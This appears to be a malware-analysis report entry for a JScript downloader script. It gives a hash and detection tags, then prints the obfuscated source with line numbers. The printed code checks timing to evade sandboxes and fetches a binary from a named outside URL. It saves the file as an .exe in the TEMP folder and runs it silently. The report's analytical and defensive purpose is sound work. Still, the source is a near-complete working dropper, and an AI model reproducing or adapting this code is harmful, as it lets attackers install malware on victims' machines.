20160328_d7aac641d2fefcdc9a0496178f75cdbc.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2567c22e428ccaf9d5f0e4ef0ebd4903d4111fb56f4dfb9894c02aa8fe2d8aaebfd
Evidence
1var Cwhludo = false;
2var Mpfhldzk = "CreateObject";
3var Mqrpd = function Tuqydgrkuc() {return WScript[Mpfhldzk]("WScript.Shell");}();
4var Irhpq = 123213;
5var Rwmpdynmz = "MSXML2.XMLHTTP";
6var Isztzwmhxh = 2123213;
7var Pcogwapr = 0;
8function Vasahou(Feocifd){Mqrpd["Run"](Feocifd, Pcogwapr, Pcogwapr);};
9function Sbgluwu(){return Rwmpdynmz;};
10function Dzdmvd(Ojpegpxgsy, Iogbl){return Ojpegpxgsy - Iogbl;};
11function Nimjgppnv(){return Mpfhldzk;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Cwhludo = true;
15 @end
16@*/
17var Msucwgzsw = "";
18if (Cwhludo)
19{
20function Rwrfu(){return 22;};
21var Gzbeybtnb = 0; var Wqanzobwl = 0;
22function Ivfft()
23{
24var Rqkykux = new this["Date"]();
25var Zlpgb = Rqkykux["getUTCMilliseconds"]();
26WScript["Sleep"](Rwrfu());
27var Rqkykux = new this["Date"]();
28var Eeaavwqv = Rqkykux["getUTCMilliseconds"]();
29WScript["Sleep"](Rwrfu());
30var Rqkykux = new this["Date"]();
31var Clmog = Rqkykux["getUTCMilliseconds"]();
32var Gzbeybtnb = "Cxizxfpdmh";
33Gzbeybtnb = Dzdmvd(Eeaavwqv, Zlpgb);
34var Wqanzobwl = "Kyffvchqta";
35Wqanzobwl = Dzdmvd(Clmog, Eeaavwqv);
36Msucwgzsw = "open";
37return Dzdmvd(Gzbeybtnb, Wqanzobwl);
38}
39var Vdhjbcau = false;
40var Qegsbbcmqt = false;
41for (var Uicmlkzy = Pcogwapr; Uicmlkzy < Rwrfu() * 1; Uicmlkzy++){if (Ivfft() != Pcogwapr){
42Vdhjbcau …
49:7… hjbcau && Wrhlu() && Qegsbbcmqt){
50function Ctlopuyez() {return Mqrpd["ExpandEnvironmentStrings"]("%TEMP%/") + "nzbOLRnj.exe";};
51 Qkuvjrivx = Sbgluwu();
52 Hfkwlcow = WScript[Mpfhldzk](Qkuvjrivx);
53 var Shgtro = 1;
54 while (Shgtro){
55try {
56Hfkwlcow[Msucwgzsw]("GET", "http://extragames.besaba.com/b3ysfa", false);
57Hfkwlcow["send"]();
58Dxmlcmaqvn = "Sleep";
59do {WScript[Dxmlcmaqvn](Rwrfu() * 11)} while (Hfkwlcow["readystate"] < 4 );
60Shgtro = Pcogwapr;
61} catch(Yagqxvy){Shgtro = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Fdwskbjxbj(Gtnwqvl) {var Ujwnkamm = (1, 2, 3, 4, 5, Gtnwqvl); return Ujwnkamm;};
64Wstkqhicu = WScript[Nimjgppnv()]("ADODB.Stream");
65Qkuvjrivx = Wstkqhicu;
66Qkuvjrivx[Msucwgzsw]();
67Qkuvjrivx["type"] = Fdwskbjxbj(1);
68Qkuvjrivx["write"](Hfkwlcow["ResponseBody"]);
69Wstkqhicu["position"] = Fdwskbjxbj(Pcogwapr);
70Qkuvjrivx["SaveToFile"](Ctlopuyez(), Fdwskbjxbj(2) );
71Wstkqhicu["close"]();
72Vasahou(Ctlopuyez());
73}
74}
75